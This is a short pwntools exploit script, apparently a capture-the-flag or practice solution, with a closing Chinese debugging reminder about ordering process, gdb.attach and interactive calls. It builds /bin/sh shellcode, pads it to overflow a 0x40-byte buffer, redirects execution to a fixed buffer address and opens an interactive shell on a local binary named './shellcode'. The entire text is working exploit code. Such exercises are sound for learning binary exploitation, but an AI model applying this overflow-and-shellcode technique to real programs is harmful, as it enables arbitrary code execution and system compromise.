from pwn import *
context(os='linux', arch='amd64', log_level='debug')
shellcode = asm(shellcraft.sh())
io = process('./shellcode')
gdb.attach(io, 'b *0x4012b7')
name_addr = 0x4040a0
payload = shellcode + 'a'*(0x40-len(shellcode)) + p64(0x4040a0)
io.recvline()
io.sendline(payload)
io.interactive()
注意要先用io=process,然后gdb.attach,最后还要io.interactive